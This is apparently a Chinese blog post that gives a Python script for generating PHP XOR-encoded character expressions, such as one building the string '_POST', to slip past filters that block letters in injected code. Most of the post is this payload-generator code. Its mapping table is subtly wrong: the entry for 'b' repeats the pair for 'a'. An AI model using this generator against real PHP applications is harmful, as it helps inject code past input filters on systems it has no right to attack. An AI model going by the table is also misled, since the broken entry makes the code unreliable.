pyhon异或运算转换脚本

当过被滤掉字母时,我们可以使用异或运算的方法来拼写字母

var_dump('#'^'|'); //得到字符 _
var_dump('.'^'~'); //得到字符 P    
var_dump('/'^'`'); //得到字符 0    
var_dump('|'^'/'); //得到字符 S    
var_dump('{'^'/'); //得到字符 T    
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  //变量$__值为字符串'_POST'

使用效果:
在这里插入图片描述
脚本:

word = input("Input word:")
payload = """"""
for i in word:
    if i == "a":
        payload += '("!"^"@")'
    elif i == "b":
        payload += '("!"^"@")'
    elif i == "c":
        payload += '("#"^"@")'
    elif i == "d":
        payload += '("$"^"@")'
    elif i == "e":
        payload += '("%"^"@")'
    elif i == "f":
        payload += '("&"^"@")'
    elif i == "g":
        payload += '''("'"^"@")'''
    elif i == "h":
        payload += '("("^"@")'
    elif i == "i":
        payload += '(")"^"@")'
    elif i == "j":
        payload += '("*"^"@")'
    elif i == "k":
        payload += '("+"^"@")'
    elif i == "l":
        payload += '(","^"@")'
    elif i == "m":
        payload += '("-"^"@")'
    elif i == "n":
        payload += '("."^"@")'
    elif i == "o":
        payload += '("/"^"@")'
    elif i == "p":
        payload += '("/"^"_")'
    elif i == "q":
        payload += '("/"^"^")'
    elif i == "r":
        payload += '("."^"\\")'
    elif i == "s":
        payload += '("-"^"^")'
    elif i == "t":
        payload += '("/"^"[")'
    elif i == "u":
        payload += '("("^"]")'
    elif i == "v":
        payload += '("("^"^")'
    elif i == "w":
        payload += '("("^"_")'
    elif i == "x":
        payload += '("&"^"^")'
    elif i == "y":
        payload += '''("'"^"^")'''
    elif i == "z":
        payload += '("&"^"\\")'
    elif i == "A":
        payload += '("!"^"`")'
    elif i == "B":
        payload += '("<"^"~")'
    elif i == "C":
        payload += '("#"^"`")'
    elif i == "D":
        payload += '("$"^"`")'
    elif i == "E":
        payload += '("%"^"`")'
    elif i == "F":
        payload += '("&"^"`")'
    elif i == "G":
        payload += '(":"^"}")'
    elif i == "H":
        payload += '("("^"`")'
    elif i == "I":
        payload += '(")"^"`")'
    elif i == "J":
        payload += '("*"^"`")'
    elif i == "K":
        payload += '("+"^"`")'
    elif i == "L":
        payload += '(","^"`")'
    elif i == "M":
        payload += '("-"^"`")'
    elif i == "N":
        payload += '("."^"`")'
    elif i == "O":
        payload += '("/"^"`")'
    elif i == "P":
        payload += '("@"^"~")'
    elif i == "Q":
        payload += '("-"^"|")'
    elif i == "R":
        payload += '("."^"|")'
    elif i == "S":
        payload += '("("^"{")'
    elif i == "T":
        payload += '("("^"|")'
    elif i == "U":
        payload += '("("^"}")'
    elif i == "V":
        payload += '("("^"~")'
    elif i == "W":
        payload += '(")"^"~")'
    elif i == "X":
        payload += '("#"^"{")'
    elif i == "Y":
        payload += '("$"^"{")'
    elif i == "Z":
        payload += '("$"^"~")'
    else:
        payload += i
print("payload:\n"+payload)

异或查询脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C1yas0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值